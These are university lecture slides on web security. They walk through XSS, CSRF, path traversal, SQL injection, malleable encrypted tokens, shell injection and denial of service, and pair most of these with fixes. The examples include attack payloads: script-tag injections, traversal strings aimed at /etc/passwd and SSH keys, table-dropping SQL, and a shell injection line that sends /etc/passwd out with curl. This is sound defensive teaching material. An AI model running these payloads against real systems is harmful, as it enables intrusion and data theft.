Web Security

Abram Hindle
abram.hindle@ualberta.ca
Department of Computing Science
University of Alberta
http://softwareprocess.es/

Security On the Web

- Multiple facets
  - Client Side
  - Server Side
- High value targets
  - Private information
  - Financial Information

•2011 CWE/SANS Top 25 Most Dangerous Software Errors

- Taken from http://cwe.mitre.org/top25/ Bob Martin et al., 2011
  - [1]93.8 CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
  - [2]83.3 CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  - [3]79.0 CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
  - [4]77.7 CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  - [5]76.9 CWE-306 Missing Authentication for Critical Function
  - [6]76.8 CWE-862 Missing Authorization
  - [7]75.0 CWE-798 Use of Hard-coded Credentials
  - [8]75.0 CWE-311 Missing Encryption of Sensitive Data
  - [9]74.0 CWE-434 Unrestricted Upload of File with Dangerous Type
  - [10] 73.8 CWE-807 Reliance on Untrusted Inputs in a Security Decision
  - [11] 73.1 CWE-250 Execution with Unnecessary Privileges
  - [12] 70.1 CWE-352 Cross-Site Request Forgery (CSRF)

•2011 CWE/SANS Top 25 Most Dangerous Software Errors

- **[13] 69.3 CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')**
- **[14] 68.5 CWE-494 Download of Code Without Integrity Check**
- **[15] 67.8 CWE-863 Incorrect Authorization**
- **[16] 66.0 CWE-829 Inclusion of Functionality from Untrusted Control Sphere**
- **[17] 65.5 CWE-732 Incorrect Permission Assignment for Critical Resource**
- **[18] 64.6 CWE-676 Use of Potentially Dangerous Function**
- **[19] 64.1 CWE-327 Use of a Broken or Risky Cryptographic Algorithm**
- **[20] 62.4 CWE-131 Incorrect Calculation of Buffer Size**
- **[21] 61.5 CWE-307 Improper Restriction of Excessive Authentication Attempts**
- **[22] 61.1 CWE-601 URL Redirection to Untrusted Site ('Open Redirect')**
- **[23] 61.0 CWE-134 Uncontrolled Format String**
- **[24] 60.3 CWE-190 Integer Overflow or Wraparound**
- **[25] 59.9 CWE-759 Use of a One-Way Hash without a Salt**

First Consider What is your website supposed to do?

- Is your website supposed to:
  - Be a distributor of malware?
  - Vouch for the identity of frausters?
  - Run arbitrary code?
  - Distribute pirated software/media?
  - Host pornography
  - Do anything you didn't want it to?

Web Content Takeover

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') or XSS

- **Imagine you ask a user for a username**
  - **They provide**
    - **<iframe width=”100%” height=”100% src=” http://cnn.com/”></iframe>**
    - **Now your website looks like CNN.com**
  - **Was that your intent?**
    - **No you just wanted to show a username.**
  - **How does this happen?**
    - **You don't properly encode the output such that it escapes as HTML**

Web Content Takeover

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') or XSS

- **Run security/server.py**
  - **Safe** http://127.0.0.1:5000/happybirthday
  - **Unsafe** http://127.0.0.1:5000/happybirthday2
  - **Try to inject HTML**

Web Content Takeover

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') or XSS

- **Common XSS**
  - **Often values are printed as URIs or attributes**
    - **e.g. <a href="http://example.com/user/%s">**
    - **The simplest XSS exploit is to pass a " and wreck that tag:**
      - **name="><script>alert("xss");</script><**
    - **E.g. provide the Color for your username**
      - **color=FFFFFF**
      - **color=FFFFFF"</style><style/><script>alert("xss");</script><**

Web Content Takeover

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') or XSS

- **Solutions?**
  - **Never print out anything from the user (easier said than done)**
  - **Validate all values you embed in HTML**
  - **Appropriately encode all values**
    - **URI Encode URIs, don't just concatenate**
    - **HTML Escape HTML entities**
  - **Use a templater that will automatically escape everything for you**
  - **Don't use innerHTML in Javascript. Use .html and .text in Jquery or new Text(text) in Javascript.**

Web Content Takeover

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') or XSS

- **Why this could be a big deal?**
  - **It leads to CWE-352 Cross-Site Request Forgery (CSRF)**
  - **If the website trusts the user and the attacker can inject content, they can inject javascript or other tags and execute commands on the website.**

Cross-Site Request Forgery (CSRF)

- **Trick a user or user agent in executing unintended requests.**
- **Hijack weak authentication measures:**
  - **Cookies and sessions**
- **Repeat actions unnecessarily**

Cross-Site Request Forgery (CSRF)

- Solutions
  - Enforce referrer headers (still not perfect)
  - Request tokens – don't allow repeated requests
  - Make GET/HEAD/OPTIONS safe
    - /logout should not be a GET
  - Avoid any chance of XSS
  - Don't rely on cookies, rely on full HTTP auth
  - Don't allow users to provide URLs that get embedded!
  - Rely on matching cookies

Cross-Site Request Forgery (CSRF)

- Solution with other tokens
  - Origin header
    - Make sure it comes from a trusted source
  - Challenge Response
    - Make the client provide extra information:
      - Re-login
      - Password
      - Captcha
      - A token you texted them

•CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

- Access files and URIs that weren't supposed to be exposed!
  - ../../.ssh/id_dsa – your SSH key!
  - ../../../../../../../etc/passwd ← used to be more useful
  - ../../.htpasswd ← passwords for apache webserver
- Often the solution many people do is inadequate:
  - s/.././g → so then I just go .../.../ instead
  - Basically if you detect path traversal, maybe you should just deny them access?
  - Use path name parsers to ensure that you have a safe parent directory

•CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

- **E.g.** http://127.0.0.1:5000/traverse?entity=../../../../../../../../etc/passwd
- **Versus http://127.0.0.1:5000/traverse_sane?entity=../../../../../../../../etc/passwd**

•CWE-829 Inclusion of Functionality from Untrusted Control Sphere

- **Lots of services want you to include iframes and embeddings from them.**
  - **They make you trust them not to ruin your site.**
  - **Lots of advertisement networks expect the same from you.**
- **When included untrusted content there can be consequences, whether by iframe or actual values.**

CWE-829 Inclusion of Functionality from Untrusted Control Sphere

- **See http://127.0.0.1:5000/static/ads.html**
- **See malicious_ad in server.py**

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

- **query = “select * from user_table where id = %s” % userid**
  - **What's the problem here?**

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

- **query = “select * from user_table where id = %s” % userid**
  - **What's the problem here?**
  - **What will this userid do?**
    - **0;drop table user_table**
    - **0 or 1=1**
    - **10; update user_table set admin=1; select * from user_table where id = 10**
      - **Add everyone as admin and hide yourself**

SQL Injection Patterns

- **Breaking quotes**
- **Returning all values with 1 or 1=1**
- **Making multiple statements**
- **Selecting ALL passwords from the database**
- **Vandalism: dropping tables**

SQL Injection Solutions

- Solution?
  - SQL Quote all values.
    - Use the SQL execute statement
    - NEVER craft a SQL query purely from input strings
    - ESCAPE ESCAPE ESCAPE
  - Don't:
    - sql.execute(“select * from tab where v=\”%s\”” % v)
  - Do
    - sql.execute(“select * from tab where v = ?”, v)
    - PHP
      - $dbh->prepare(“select * from tab where v = :v”);
      - $dbh->bindParam(“:v”, $v);
      - $dbh->execute();

SQL Injection

- **Why does it work?**
  - **Many sites use SQL**
  - **Many sites use products that are available for inspection (punbb, wordpress, etc.)**
  - **Some languages and frameworks didn't pay attention at the start**
    - **PHP!!!**

Poorly Encrypted Cookies/Tokens

- **The web is stateless! Why not rely on the user to hold the state?**
  - **What is they change it or lie?**
  - **Well lets just encrypt it and they won't be able to read their tokens.**
- **So let's set application state in the user's cookie so we don't need to use a database to store their session.**

Poorly Encrypted Cookies/Tokens

- **Dangers of Tokens:**
  - **What if I steal them?**
  - **What if I reuse them?**
  - **What if I repeat them?**
  - **Does a hacker ever need to login now?**
  - **Furthermore, hackers can change tokens even if they can't read them!**

Poorly Encrypted Cookies/Tokens

- **Wait hackers can change encrypted data?**
  - **Naive implementations do not check the integrity of an encrypted message**
  - **If you don't protect integrity then you will decrypt garbage**
  - **But what is garbage is all you need to break in?**
  - **I can change a message w/o reading it.**
    - INITIATE DEMO

Poorly Encrypted Cookies/Tokens

- **First and Foremost,**
  - **encryption done well is hard**
  - **Rely on integrity checks**
  - **Sign values**
  - **Do not accept encrypted values that do not decrypt totally**
  - **Most encryption hacks are in failures in the implementation, not in the actual algorithm!**

Poorly Encrypted Cookies/Tokens

- Tokens are not that safe
  - Make sure you can test their integrity
  - Make sure it is hard to reuse a token
    - Hash in the user's IP so they have to be at least from the same host
      - Doesn't help for a university level hack :(

Shell Injection

- The same as the other injections but instead of SQL you run a command.
  - A malicious user can insert escape codes to run what they want.
  - Imagine:
    - os.system(“command arg1 arg2 %s”, arg3)
    - Imagine I supply
      - “; curl -X PUT http://mysite -d @/etc/passwd

Shell Injection

- **Solution:**
  - **Use libraries that escape all shell commands**
  - **Don't execute commands with a shell, just do direct exec.**
  - **e.g. subprorcess.call([“command”,arg1,arg2,arg3])**

DOS

- Denial of Service
  - Make a service unavailable
- Common methods
  - Spamming
  - Flooding
  - Filling queues with information
  - Sending useless expensive jobs
  - Using all available resources

DDOS

- Distributed Denial of Service
  - Like a DOS but commonly run from multiple machines
- Common methods
  - Redirecting webtraffic
  - Using DNS poisoning to redirect people
  - Lying to routers to route traffic to a non router
  - Sending very slowly
  - Reading very slowly

Resources

- Jeff Atwood, Cross-Site Request Forgeries and You, http://blog.codinghorror.com/cross-site-request-forgeries-and-you/
- OWASP, Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet, https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet
- OWASP, XSS (Cross Site Scripting) Prevention Cheat Sheet ，https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

Resources

- Web Application Security
  - http://proquest.safaribooksonline.com/book/-/9780071776165?bookview=overview
- Web Security Testing Cookbook
  - http://proquest.safaribooksonline.com/book/-/9780071776165?bookview=overview
- How to deal with passwords
  https://github.com/MHM5000/pass
- Security Engineering
  http://www.cl.cam.ac.uk/%7Erja14/book.html
-

Resources

- **How to Hack a website**
  https://www.youtube.com/watch?v=O90lSMmTjjo
- **PHP Security Guide**
  http://phpsec.org/projects/guide/